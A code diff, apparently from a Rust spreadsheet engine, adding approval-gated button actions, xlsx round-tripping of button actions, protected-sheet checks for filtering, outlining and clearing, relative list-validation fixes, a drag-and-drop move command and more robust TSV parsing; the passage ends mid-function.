+    let name = c.display_name();
+    match c.action {
+        None => Err(EngineError::Other(format!("'{name}' has no action. Right-click it and choose Assign Action."))),
+        Some(ControlAction::Macro { name: mac, input, output }) => {
+            let mut params = json!({"name": mac});
+            if let MacroInput::Fixed(r) = input {
+                params["inputs"] = json!(r);
+            }
+            if let Some(o) = output {
+                params["output"] = json!(o);
+            }
+            for key in ["approve", "onConflict", "overwrite", "timeLimit"] {
+                if let Some(v) = p.get(key) {
+                    params[key] = v.clone();
+                }
+            }
+            // The macro runner gates every step with the document's trust.
+            crate::macros::run::run(s, &mac, &params)
+        }
+        Some(ControlAction::Command { id, params }) => {
+            let d = s.doc()?;
+            let (doc, trust) = (d.uid, d.trust);
+            let policy = button_policy(&id, &params, trust);
+            let file_command = matches!(policy, Policy::NeedsPermission(_));
+            let why = match policy {
+                Policy::Allow => None,
+                Policy::Ask(why) | Policy::NeedsPermission(why) => Some(why),
+                Policy::Deny(why) => return Err(EngineError::Other(format!("'{name}' can't run {id}: {why}."))),
+            };
+            if let Some(why) = why {
+                let key = (doc, approval_key(&id, &params));
+                if !s.macro_approvals.contains(&key) {
+                    if bool_param(p, "approve") != Some(true) {
+                        return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}{}.", path_note(&params))));
+                    }
+                    s.macro_approvals.insert(key);
+                }
+            }
+            // As a macro step: only an approved file command reaches the file system, so a
+            // command that reads or writes a file under another parameter name can't.
+            let _sandbox = (!file_command).then(crate::io::ScriptSandbox::enter);
+            s.grouped(&name, |s| {
+                let queued = s.ui_requests.len();
+                let r = s.execute(&id, params.clone());
+                // As a macro step: a command that would open a dialog or a web page is refused
+                // and its group rolled back; messages for the person stay queued.
+                let blocked = take_requests(s, queued, &name);
+                let r = r?;
+                match blocked {
+                    Some(why) => Err(EngineError::Other(why)),
+                    None => Ok(r),
+                }
+            })
+        }
+    }
+}
+
+/// The file a button's command names in its `path`, as ` (path)` for its approval question, so
+/// the person sees what it reads or writes before saying yes. Empty without a `path`; a long one
+/// is shortened in the middle.
+fn path_note(params: &Json) -> String {
+    let text = match params.get("path") {
+        None | Some(Json::Null) => return String::new(),
+        Some(Json::String(t)) => t.clone(),
+        Some(other) => other.to_string(),
+    };
+    let text: String = text.chars().map(|c| if c.is_control() { ' ' } else { c }).collect();
+    let n = text.chars().count();
+    let shown = if n > 200 {
+        let head: String = text.chars().take(100).collect();
+        let tail: String = text.chars().skip(n - 99).collect();
+        format!("{head}…{tail}")
+    } else {
+        text
+    };
+    format!(" ({shown})")
+}
+
+/// The approval key of a button's command: its id and parameters, with a prefix that keeps it
+/// apart from a macro's fingerprint (canonical JSON, which starts with `{`).
+fn approval_key(id: &str, params: &Json) -> String {
+    format!("control-command\u{0}{id}\u{0}{params}")
+}
+
+/// After an edit: each slider and spin button whose linked cell holds a number takes that number
+/// (clamped and snapped), so editing the cell moves the control. Sheets without such a control
+/// are left untouched.
+pub(crate) fn sync_linked_values(wb: &mut Workbook) {
+    for si in 0..wb.sheets.len() {
+        let updates: Vec<(usize, u32)> = match wb.sheet(si) {
+            Some(sh) if sh.controls.iter().any(|c| c.link.is_some()) => sh
+                .controls
+                .iter()
+                .enumerate()
+                .filter(|(_, c)| c.kind != ControlKind::Button)
+                .filter_map(|(i, c)| linked_number(wb, si, c).map(|n| (i, c.snap(n))).filter(|(_, v)| *v != c.value))
+                .collect(),
+            _ => continue,
+        };
+        if updates.is_empty() {
+            continue;
+        }
+        if let Some(sh) = wb.sheet_mut(si) {
+            for (i, v) in updates {
+                if let Some(c) = sh.controls.get_mut(i) {
+                    c.value = v;
+                }
+            }
+        }
+    }
+}
+
+// ---------------------------------------------------------------- xlsx
+
+/// The hidden-data key of the button actions xlsx has no place for.
+pub(crate) const ACTIONS_KEY: &str = "control_actions";
+
+/// A button's action that xlsx carries itself: a macro on the selection (`macro="[0]!Name"`).
+fn plain(a: &ControlAction) -> bool {
+    matches!(a, ControlAction::Macro { input: MacroInput::Selection, output: None, .. })
+}
+
+/// A copy of `wb` for xlsx with the button actions xlsx can't express (commands, fixed inputs,
+/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet, with
+/// the button's name and anchor cell to check it is still the same button when the file comes
+/// back. `None` when there is nothing to store.
+pub(crate) fn with_action_names(wb: &Workbook) -> Result<Option<Workbook>> {
+    let mut items = Vec::new();
+    for sh in &wb.sheets {
+        for (i, c) in sh.controls.iter().enumerate() {
+            if let Some(a) = c.action.as_ref().filter(|a| !plain(a)) {
+                items.push(json!({"sheet": sh.name, "index": i, "name": c.display_name(), "at": c.anchor.cell.a1(), "action": a}));
+            }
+        }
+    }
+    let stale = stash::get(wb, ACTIONS_KEY).is_some();
+    if items.is_empty() && !stale {
+        return Ok(None);
+    }
+    let mut out = wb.clone();
+    stash::remove(&mut out, ACTIONS_KEY);
+    if !items.is_empty() {
+        stash::set_json(&mut out, ACTIONS_KEY, &Json::Array(items))?;
+    }
+    Ok(Some(out))
+}
+
+/// After a file is opened: gives buttons back the actions kept in the hidden name, and removes
+/// it. Entries that don't parse, or don't match a button, are dropped: an entry must carry the
+/// button's name and anchor cell, the button at the stored place must have that name and anchor
+/// cell (another application may have added, removed or reordered controls), and it must not
+/// have been given another macro since (a stored macro action comes back only on a button that
+/// still runs that macro, a stored command only on one the file gives no macro). A stored fixed
+/// input for a macro that takes no inputs becomes the selection (see [`takes_no_inputs`]).
+pub(crate) fn load_action_names(wb: &mut Workbook) {
+    let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return };
+    stash::remove(wb, ACTIONS_KEY);
+    for item in items.as_array().into_iter().flatten().take(100_000) {
+        let (Some(sheet), Some(index)) = (item.get("sheet").and_then(Json::as_str), item.get("index").and_then(Json::as_u64)) else { continue };
+        let Ok(action) = serde_json::from_value::<ControlAction>(item.get("action").cloned().unwrap_or(Json::Null)) else { continue };
+        let valid = match &action {
+            ControlAction::Macro { name, .. } => !name.trim().is_empty() && name.chars().count() <= MAX_MACRO_NAME,
+            ControlAction::Command { id, params } => !id.is_empty() && id.len() <= 200 && params.is_object(),
+        };
+        let Some(si) = wb.sheet_index(sheet) else { continue };
+        let Ok(index) = usize::try_from(index) else { continue };
+        let text = |k: &str| item.get(k).and_then(Json::as_str);
+        let same = |c: &FormControl| {
+            c.kind == ControlKind::Button
+                && text("name").is_some_and(|n| n == c.display_name())
+                && text("at").is_some_and(|a| a == c.anchor.cell.a1())
+                && match (&c.action, &action) {
+                    (None, ControlAction::Command { .. }) => true,
+                    (Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept),
+                    _ => false,
+                }
+        };
+        if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index).is_some_and(same)) {
+            continue;
+        }
+        let action = match action {
+            // The macro takes no inputs now: the stored range would fail every press, so the
+            // button runs the macro on the selection, as the file itself assigns it.
+            ControlAction::Macro { name, input: MacroInput::Fixed(_), output } if takes_no_inputs(wb, &name).is_some() => {
+                ControlAction::Macro { name, input: MacroInput::Selection, output }
+            }
+            other => other,
+        };
+        if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index)) {
+            c.action = Some(action);
+        }
+    }
+}
@@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) {

 pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {
    let sheet = s.doc()?.wb.active_sheet();
+    crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
    edit(s, |cx| {
        let sh = cx.sheet_mut(sheet)?;
        if let Some(a) = sh.autofilter.as_mut() {
@@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {

 pub(super) fn reapply(s: &mut Session, _: &Json) -> Result<Json> {
    let sheet = s.doc()?.wb.active_sheet();
+    crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
    edit(s, |cx| {
        apply_filter(&mut cx.wb, sheet);
        cx.structural = true;
@@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> {
    }
 }

+/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis.
+fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> {
+    if rows {
+        crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)
+    } else {
+        crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)
+    }
+}
+
 pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
    let si = target_sheet(s, p)?;
    // The selection belongs to the active sheet, so another sheet needs its lines.
@@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
        return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet"));
    }
    let (rows, a, b) = outline_lines(s, p)?;
+    refuse_unless_outline_allowed(s, si, rows)?;
    edit(s, |cx| {
        let sh = cx.sheet_mut(si)?;
        let before = outline::summary_before(sh, rows);
@@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
 /// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed.
 pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result<Json> {
    let (rows, a, b) = outline_lines(s, p)?;
+    refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?;
    let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8);
    edit(s, |cx| {
        let si = cx.sheet_index();
@@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result<Json> {
            msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(),
        });
    }
+    let active = s.doc()?.wb.active_sheet();
+    for (n, is_rows) in [(rows, true), (cols, false)] {
+        if n.is_some() {
+            refuse_unless_outline_allowed(s, active, is_rows)?;
+        }
+    }
    edit(s, |cx| {
        let si = cx.sheet_index();
        let sh = cx.sheet_mut(si)?;
@@ -480,6 +480,45 @@ fn a_list_typed_without_quotes_is_saved_as_a_quoted_list() {
    assert_eq!(sheet_xml(&reopened), xml, "a second save writes the same rules");
 }

+#[test]
+fn a_relative_list_source_is_read_from_the_cell_being_checked() {
+    // As in Excel, `=$B1:$B2` on A3:A4,A1:A2 is written for A1 (the top-left cell of all the
+    // areas) and lists B4:B5 at A4. It used to list B1:B2 in every cell.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("range.setValues", json!({"range": "B1:B5", "values": [["a"], ["b"], ["c"], ["d"], ["e"]]})).unwrap();
+    s.execute("data.validation", json!({"range": "A3:A4,A1:A2", "type": "list", "formula1": "=$B1:$B2"})).unwrap();
+    let wb = s.doc().unwrap().wb.clone();
+    let dv = wb.active().unwrap().validations[0].clone();
+    for (cell, items) in [("A1", ["a", "b"]), ("A2", ["b", "c"]), ("A3", ["c", "d"]), ("A4", ["d", "e"])] {
+        let at = CellRef::parse(cell).unwrap();
+        assert_eq!(list_items(&wb, 0, at, &dv), items, "{cell}");
+        for v in ["a", "b", "c", "d", "e"] {
+            assert_eq!(check_validation(&wb, 0, at, v).is_none(), items.contains(&v), "{cell} with {v}");
+        }
+    }
+}
+
+#[test]
+fn a_list_source_that_takes_in_the_cell_does_not_list_the_value_being_typed() {
+    // `=$A1:$A2` on A2:A3 is A1:A2 at A2 and A2:A3 at A3. The list is the one before the entry, as
+    // in Excel; a new value used to land in its own source and pass.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("range.setValues", json!({"range": "A1:A2", "values": [["x"], ["y"]]})).unwrap();
+    s.execute("data.validation", json!({"range": "A2:A3", "type": "list", "formula1": "=$A1:$A2"})).unwrap();
+    let wb = &s.doc().unwrap().wb;
+    for (cell, accepted, refused) in [("A2", &["x", "y"][..], &["new"][..]), ("A3", &["y"], &["x", "new"])] {
+        let at = CellRef::parse(cell).unwrap();
+        for v in accepted {
+            assert!(check_validation(wb, 0, at, v).is_none(), "{cell} refuses {v}");
+        }
+        for v in refused {
+            assert!(check_validation(wb, 0, at, v).is_some(), "{cell} accepts {v}");
+        }
+    }
+}
+
 #[test]
 fn a_rule_with_an_unknown_type_operator_or_error_style_is_refused() {
    // A typo used to give a rule that validates nothing (`type="none"`) or the wrong check,
@@ -18,30 +18,85 @@ fn op_param(s: Option<&str>) -> CfOperator {
    }
 }

-/// `r` minus `cut`, as up to four non-overlapping rectangles.
-fn subtract_range(r: RangeRef, cut: &RangeRef) -> Vec<RangeRef> {
-    let Some(i) = r.intersection(cut) else { return vec![r] };
-    let mut out = Vec::new();
-    if i.start.row > r.start.row {
-        out.push(RangeRef::new(r.start, CellRef::new(i.start.row - 1, r.end.col)));
+/// Removes a set of cuts from one validation range in a row sweep, updating the result once
+/// instead of fragmenting it again for every cut.
+fn subtract_ranges(r: RangeRef, cuts: &[RangeRef]) -> Vec<RangeRef> {
+    let mut events = std::collections::BTreeMap::<u64, Vec<((u32, u32), bool)>>::new();
+    for cut in cuts {
+        let Some(i) = r.intersection(cut) else { continue };
+        let columns = (i.start.col, i.end.col);
+        events.entry(u64::from(i.start.row)).or_default().push((columns, true));
+        events.entry(u64::from(i.end.row) + 1).or_default().push((columns, false));
    }
-    if i.end.row < r.end.row {
-        out.push(RangeRef::new(CellRef::new(i.end.row + 1, r.start.col), r.end));
+    if events.is_empty() {
+        return vec![r];
    }
-    if i.start.col > r.start.col {
-        out.push(RangeRef::new(CellRef::new(i.start.row, r.start.col), CellRef::new(i.end.row, i.start.col - 1)));
-    }
-    if i.end.col < r.end.col {
-        out.push(RangeRef::new(CellRef::new(i.start.row, i.end.col + 1), CellRef::new(i.end.row, r.end.col)));
+    events.entry(u64::from(r.end.row) + 1).or_default();
+
+    let mut active = std::collections::BTreeMap::<(u32, u32), usize>::new();
+    let mut out: Vec<RangeRef> = Vec::new();
+    let mut last_by_columns = std::collections::BTreeMap::<(u32, u32), usize>::new();
+    let mut previous_row = u64::from(r.start.row);
+    for (row, changes) in events {
+        if previous_row < row {
+            let start_row = previous_row as u32;
+            let end_row = (row - 1).min(u64::from(r.end.row)) as u32;
+            let mut covered = Vec::<(u32, u32)>::new();
+            for &(start, end) in active.keys() {
+                match covered.last_mut() {
+                    Some(last) if start <= last.1.saturating_add(1) => last.1 = last.1.max(end),
+                    _ => covered.push((start, end)),
+                }
+            }
+            let mut next_col = u64::from(r.start.col);
+            let mut remaining = Vec::new();
+            for (start, end) in covered {
+                if next_col < u64::from(start) {
+                    remaining.push((next_col as u32, start - 1));
+                }
+                next_col = u64::from(end) + 1;
+            }
+            if next_col <= u64::from(r.end.col) {
+                remaining.push((next_col as u32, r.end.col));
+            }
+            for (start_col, end_col) in remaining {
+                let columns = (start_col, end_col);
+                if let Some(&index) = last_by_columns.get(&columns)
+                    && out[index].end.row.saturating_add(1) == start_row
+                {
+                    out[index].end.row = end_row;
+                } else {
+                    let index = out.len();
+                    out.push(RangeRef::new(CellRef::new(start_row, start_col), CellRef::new(end_row, end_col)));
+                    last_by_columns.insert(columns, index);
+                }
+            }
+        }
+        for (columns, add) in changes {
+            if add {
+                *active.entry(columns).or_default() += 1;
+            } else if let Some(count) = active.get_mut(&columns) {
+                *count -= 1;
+                if *count == 0 {
+                    active.remove(&columns);
+                }
+            }
+        }
+        previous_row = row;
    }
    out
 }

 /// Removes the cells of `cuts` from every validation, keeping the rest of each rule's ranges.
+/// When the rule's top-left cell goes, its relative formulas are rewritten for the new top-left
+/// cell, so the cells left keep checking the same cells.
 pub(in super::super) fn remove_validation_cells(validations: &mut Vec<Validation>, cuts: &[RangeRef]) {
    for dv in validations.iter_mut() {
-        for cut in cuts {
-            dv.ranges = dv.ranges.iter().flat_map(|r| subtract_range(*r, cut)).collect();
+        let before = RangeRef::top_left(&dv.ranges);
+        dv.ranges = dv.ranges.iter().flat_map(|r| subtract_ranges(*r, cuts)).collect();
+        if let (Some(from), Some(to)) = (before, RangeRef::top_left(&dv.ranges)) {
+            dv.f1 = move_rule_formula(&dv.f1, from, to);
+            dv.f2 = dv.f2.take().map(|f| move_rule_formula(&f, from, to));
        }
    }
    validations.retain(|d| !d.ranges.is_empty());
@@ -145,8 +200,10 @@ fn list_source(f: &str) -> String {
    format!("\"{}\"", t.replace('"', "\"\""))
 }

-/// List entries of a list validation (literal or from a range).
-pub fn list_items(wb: &Workbook, sheet: usize, dv: &Validation) -> Vec<String> {
+/// List entries of a list validation (literal or from a range) for the cell `at`. A relative
+/// source is written for the rule's top-left cell and read from `at`, as in Excel (`=$B1:$B3` on
+/// A1:A9 lists B5:B7 at A5).
+pub fn list_items(wb: &Workbook, sheet: usize, at: CellRef, dv: &Validation) -> Vec<String> {
    let f = dv.f1.trim();
    if is_literal_list(f) {
        // A quoted list is a string literal: `""` inside stands for one `"`.
@@ -156,8 +213,8 @@ pub fn list_items(wb: &Workbook, sheet: usize, dv: &Validation) -> Vec<String> {
        };
        return items.split(',').map(|x| x.trim().to_string()).filter(|x| !x.is_empty()).collect();
    }
-    let at = dv.ranges.first().map(|r| r.start).unwrap_or_default();
-    match gridcraft_calc::evaluate(wb, sheet, at, f) {
+    let first = RangeRef::top_left(&dv.ranges).unwrap_or(at);
+    match gridcraft_calc::evaluate(wb, sheet, at, &formula_at(f, first, at)) {
        Value::Array(a) => a.data.iter().filter(|v| !v.is_empty()).map(Value::display).collect(),
        v if !v.is_empty() && !v.is_error() => vec![v.display()],
        _ => vec![],
@@ -175,9 +232,10 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) -
        return None;
    }
    let v = gridcraft_core::parse::parse_input(input, wb.date_system).value;
-    // The formulas are written for the first cell of the range and see the value being entered,
+    // The formulas are written for the top-left cell of all the areas and see the value being entered,
    // as in Excel (a custom `=A1>10` on A1:A9 checks A5's new value at A5).
-    let first = dv.ranges.first().map(|r| r.start).unwrap_or(at);
+    let first = RangeRef::top_left(&dv.ranges).unwrap_or(at);
+    let original = wb;
    let entered;
    let wb = if sh.value(at) == v {
        wb
@@ -193,7 +251,9 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) -
    let eval = |f: &str| gridcraft_calc::evaluate(wb, sheet, at, &formula_at(f, first, at));
    let num = |f: &str| eval(f).to_number().ok();
    let ok = match dv.kind {
-        ValidationKind::List => list_items(wb, sheet, dv).iter().any(|x| x.eq_ignore_ascii_case(input)),
+        // The list is the one the dropdown showed before the entry, as in Excel: a source that takes
+        // in the cell itself (`=$A1:$A2` on A2:A3 is A2:A3 at A3) doesn't list the value being typed.
+        ValidationKind::List => list_items(original, sheet, at, dv).iter().any(|x| x.eq_ignore_ascii_case(input)),
        ValidationKind::Custom => eval(&dv.f1).to_bool().unwrap_or(false),
        ValidationKind::TextLength => {
            let n = input.chars().count() as f64;
@@ -23,7 +23,7 @@ use cell::{cell_set, range_fill, range_set_values};
 pub(crate) use cell::{check_arg_counts, input_to_cell, is_formula_input, json_to_input, parse_typed_formula};
 #[cfg(test)]
 pub(crate) use clipboard::parse_tsv;
-use clipboard::{clear_clipboard, copy, cut, paste};
+use clipboard::{clear_clipboard, copy, cut, paste, range_move};
 use fill::{auto_fill, fill_dir, fill_series, flash_fill};
 #[cfg(test)]
 use find::replace_ci;
@@ -36,7 +36,7 @@ use go_to::go_to_special;
 use go_to::{GO_TO_MAX_AREAS, GO_TO_RECENT, reference_parts};
 use paste_special::paste_special;
 pub(crate) use paste_special::{rewrite_all_formulas, rewrite_cell_links, rewrite_python_refs};
-use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_set};
+use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_next_corner, selection_set};

 pub fn specs() -> Vec<CommandSpec> {
    vec![
@@ -62,6 +62,15 @@ pub fn specs() -> Vec<CommandSpec> {
        cmd!(noundo "selection.set", "Select", [], None, "{range: \"A1:B2,D4\" | cell, active?: \"A1\", sheet?}", has_doc, selection_set),
        cmd!(noundo "selection.move", "Move Selection", [], None, "{dr, dc, extend?: bool, jump?: bool (Ctrl+arrow), page?: bool}", has_doc, selection_move),
        cmd!(noundo "selection.next", "Next Cell in Selection", [], None, "{forward?: true, byRow?: false} (Enter/Tab inside a selection)", has_doc, selection_next),
+        cmd!(
+            noundo "selection.nextCorner",
+            "Next Corner of Selection",
+            [],
+            Some("Ctrl+."),
+            "{} (the active cell moves clockwise to the next corner of the selected area, which stays selected)",
+            has_doc,
+            selection_next_corner
+        ),
        cmd!(noundo "edit.selectAll", "Select All", ["Edit"], Some("Cmd+A"), "{} (current region first, then the whole sheet)", has_doc, select_all),
        cmd!(noundo "selection.currentRegion", "Select Current Region", [], Some("Ctrl+Shift+8"), "{}", has_doc, select_region),
        cmd!(noundo "selection.row", "Select Entire Row", [], Some("Shift+Space"), "{}", has_doc, select_row),
@@ -81,6 +90,15 @@ pub fn specs() -> Vec<CommandSpec> {
            has_doc,
            paste
        ),
+        cmd!(
+            "range.move",
+            "Drag and Drop",
+            [],
+            None,
+            "{range?, to: \"C3\", overwrite?: bool} (drag the selection's border: a cut and paste that asks before replacing data unless overwrite)",
+            has_doc,
+            range_move
+        ),
        CommandSpec {
            shortcut_mac: Some("Ctrl+Cmd+V"),
            ..cmd!(
@@ -126,13 +144,13 @@ pub fn specs() -> Vec<CommandSpec> {
            fill_series
        ),
        cmd!("edit.flashFill", "Flash Fill", ["Home", "Editing", "Fill"], Some("Ctrl+E"), "{range?}", has_doc, flash_fill),
-        cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook}", has_doc, find),
+        cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook|selection} (selection: only the selected cells; Find Next keeps them selected and moves the active cell)", has_doc, find),
        cmd!(
            "edit.replace",
            "Replace…",
            ["Home", "Editing", "Find & Select"],
            Some("Ctrl+H"),
-            "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)",
+            "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook|selection} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)",
            has_doc,
            replace
        ),
@@ -244,21 +262,36 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
            })
        })
    };
+    // Notes and links aren't cell contents, so the cell comparison that guards a protected sheet
+    // doesn't see them go: a locked cell's are refused here, stored cell or not.
+    if matches!(what, "all" | "comments" | "hyperlinks") {
+        let d = s.doc()?;
+        if let Some(sh) = d.wb.sheet(sheet).filter(|sh| sh.is_protected()) {
+            for &whole in &ranges {
+                let skip = filtered_rows(sh, whole);
+                let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten();
+                let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten();
+                for &c in notes.chain(links).filter(|c| whole.contains(**c) && !skip.contains(&c.row)) {
+                    if d.wb.styles.get(sh.style_id(c)).protection.locked
+                        && let Some(m) = locked_cell_error(sh, c, &d.unlocked_ranges)
+                    {
+                        return Err(EngineError::Other(m));
+                    }
+                }
+            }
+        }
+    }
    edit(s, |cx| {
-        for r in &ranges {
-            let r = match cx.wb.sheet(sheet).and_then(|sh| sh.used_range()) {
-                Some(u) => match r.intersection(&u) {
-                    Some(x) => x,
-                    None => continue,
-                },
-                None => continue,
+        for &whole in &ranges {
+            // Cells are only stored inside the used range. Notes and links are kept apart from
+            // them, so they are cleared over the whole range: one from a file can sit on a cell
+            // with nothing stored in it.
+            let used = cx.wb.sheet(sheet).and_then(|sh| sh.used_range()).and_then(|u| whole.intersection(&u));
+            let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, whole)).unwrap_or_default();
+            let cells: Vec<(CellRef, Cell)> = match (cx.wb.sheet(sheet), used) {
+                (Some(sh), Some(r)) => sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect(),
+                _ => Vec::new(),
            };
-            let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, r)).unwrap_or_default();
-            let cells: Vec<(CellRef, Cell)> = cx
-                .wb
-                .sheet(sheet)
-                .map(|sh| sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect())
-                .unwrap_or_default();
            // Report every stored cell we touch, even beyond a million coordinates in a sparse
            // selection. Removed formula anchors must also reach calc so their spills disappear.
            cx.changed.extend(cells.iter().map(|(c, _)| (sheet, *c)));
@@ -278,6 +311,18 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
                    }
                }
            }
+            let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row);
+            // A removed note or link changes its cell even with nothing stored there.
+            let metadata: Vec<CellRef> = cx
+                .wb
+                .sheet(sheet)
+                .map(|sh| {
+                    let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten();
+                    let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten();
+                    notes.chain(links).copied().filter(|c| cleared(*c)).collect()
+                })
+                .unwrap_or_default();
+            cx.changed.extend(metadata.into_iter().map(|c| (sheet, c)));
            let sh = cx.sheet_mut(sheet)?;
            for (c, mut cell) in cells {
                match what {
@@ -294,14 +339,15 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
                    _ => {}
                }
            }
-            let cleared = |c: CellRef| r.contains(c) && !skip.contains(&c.row);
            if matches!(what, "all" | "comments") {
                sh.comments.retain(|c, _| !cleared(*c));
            }
            if matches!(what, "all" | "hyperlinks") {
                sh.hyperlinks.retain(|c, _| !cleared(*c));
            }
-            if matches!(what, "all" | "formats") {
+            if let Some(r) = used
+                && matches!(what, "all" | "formats")
+            {
                let mut unmerged = false;
                sh.merges.retain(|m| {
                    let keep = !r.contains_range(m) || skip.range(m.start.row..=m.end.row).next().is_some();
@@ -1,7 +1,8 @@
 use super::cell::input_to_cell;
 use super::paste_special::paste_special;
 use super::{
-    Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, cell_param_on, edit, json, ok, str_param, target_ranges, target_sheet,
+    Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, bad, bool_param, cell_param_on, edit, json, ok, str_param, target_ranges,
+    target_sheet,
 };

 // ---------------------------------------------------------------- clipboard
@@ -163,6 +164,40 @@ pub(super) fn paste(s: &mut Session, p: &Json) -> Result<Json> {
    paste_special(s, &json!({"what": "all", "at": p.get("at").cloned().unwrap_or(Json::Null)}))
 }

+/// Drag and drop (dragging the selection's border): moves `range` so its top-left cell lands on
+/// `to`, as Cut and Paste would. Like Excel, it asks before replacing cells that hold data or show a
+/// spilled value (other than the moved cells themselves); run it again with `overwrite: true` to replace them. A
+/// refused or failed move leaves the clipboard as it was.
+pub(super) fn range_move(s: &mut Session, p: &Json) -> Result<Json> {
+    let sheet = target_sheet(s, p)?;
+    let to = cell_param_on(s, p, "to", sheet)?.ok_or_else(|| bad("range.move", "missing `to`"))?;
+    let kept = s.clipboard.take();
+    let moved = cut(s, p).and_then(|_| {
+        let src = s.clipboard.as_ref().map(|c| c.range).unwrap_or_default();
+        let dest = to.offset(i64::from(src.height()) - 1, i64::from(src.width()) - 1).map(|end| RangeRef::new(to, end));
+        if bool_param(p, "overwrite") != Some(true)
+            && let Some(dest) = dest
+            && let Some(sh) = s.doc()?.wb.sheet(sheet)
+            && (sh.cells.iter_range(dest).any(|(c, cell)| !src.contains(c) && cell.has_content())
+                || sh.spill.range(dest.start..=dest.end).any(|(c, v)| dest.contains(*c) && !src.contains(*c) && *v != Value::Empty))
+        {
+            return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into()));
+        }
+        // On the range's sheet, which `paste` would leave to the active one. The selection
+        // belongs to the active sheet: it follows the moved cells only when they are on it.
+        let selection = s.doc()?.selection.clone();
+        let pasted = paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet}))?;
+        if sheet != s.doc()?.wb.active_sheet() {
+            s.doc_mut()?.selection = selection;
+        }
+        Ok(pasted)
+    });
+    if moved.is_err() {
+        s.clipboard = kept;
+    }
+    moved
+}
+
 fn paste_text(s: &mut Session, p: &Json, text: &str) -> Result<Json> {
    let sheet = target_sheet(s, p)?;
    let at = cell_param_on(s, p, "at", sheet)?.unwrap_or(s.doc()?.selection.current().start);
@@ -226,16 +261,55 @@ pub(crate) fn parse_tsv(text: &str) -> Vec<Vec<String>> {
    let mut row = Vec::new();
    let mut field = String::new();
    let mut chars = text.chars().peekable();
+    // Text read again as unquoted, ahead of the rest of the input: a field that opened with a
+    // quote but turned out not to be quoted.
+    let mut replay: std::collections::VecDeque<char> = std::collections::VecDeque::new();
+    // Text is replayed at most as much as the input is long; past that, quotes are text, so
+    // hostile input full of fields that only look quoted reads in linear time.
+    let mut replay_budget = text.len();
    let mut quoted = false;
    let mut at_start = true;
-    while let Some(c) = chars.next() {
+    // A quoted field's text as it stands in the input, for a field that turns out not to be one.
+    let mut raw = String::new();
+    loop {
+        let c = match replay.pop_front().or_else(|| chars.next()) {
+            Some(c) => c,
+            // A quote that never closes: the field is its text as written.
+            None if quoted => {
+                quoted = false;
+                field.clear();
+                field.push('"');
+                replay_budget = replay_budget.saturating_sub(raw.len());
